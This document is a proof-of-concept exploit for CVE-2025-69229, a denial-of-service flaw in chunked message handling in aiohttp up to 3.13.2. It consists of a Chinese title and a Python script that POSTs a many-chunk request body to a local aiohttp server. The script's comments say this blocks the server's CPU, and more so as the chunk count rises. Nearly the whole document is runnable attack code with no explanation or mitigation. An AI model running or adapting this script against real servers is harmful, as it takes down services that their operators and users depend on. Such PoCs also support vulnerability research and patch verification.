CVE-2025-69229 AIOHTTP分块消息处理拒绝服务漏洞

""" CVE-2025-69229 AIOHTTP Chunked DoS PoC This PoC demonstrates the chunked message handling DoS vulnerability in aiohttp <= 3.13.2 """ import asyncio import aiohttp async def send_chunked_request(target_url: str, num_chunks: int = 1000): """ Send a chunked request to trigger CPU blocking in aiohttp server Args: target_url: Target server URL num_chunks: Number of chunks to send (more chunks = more CPU usage) """ # Construct chunked request body chunk_data = b'X' * 100 # 100 bytes per chunk chunks = [] for i in range(num_chunks): # Each chunk: length in hex + CRLF + data + CRLF chunk_size = format(len(chunk_data), 'x') chunks.append(f"{chunk_size}\r\n".encode()) chunks.append(chunk_data) chunks.append(b'\r\n') # Final zero-length chunk to signal end chunks.append(b'0\r\n\r\n') body = b''.join(chunks) headers = { 'Content-Type': 'application/octet-stream', 'Transfer-Encoding': 'chunked' } async with aiohttp.ClientSession() as session: async with session.post(target_url, data=body, headers=headers) as resp: print(f"Response status: {resp.status}") return await resp.text() async def main(): target = "http://localhost:8080/endpoint" # Send request with 1000 chunks to trigger ~1 second CPU blocking await send_chunked_request(target, num_chunks=1000) if __name__ == "__main__": asyncio.run(main())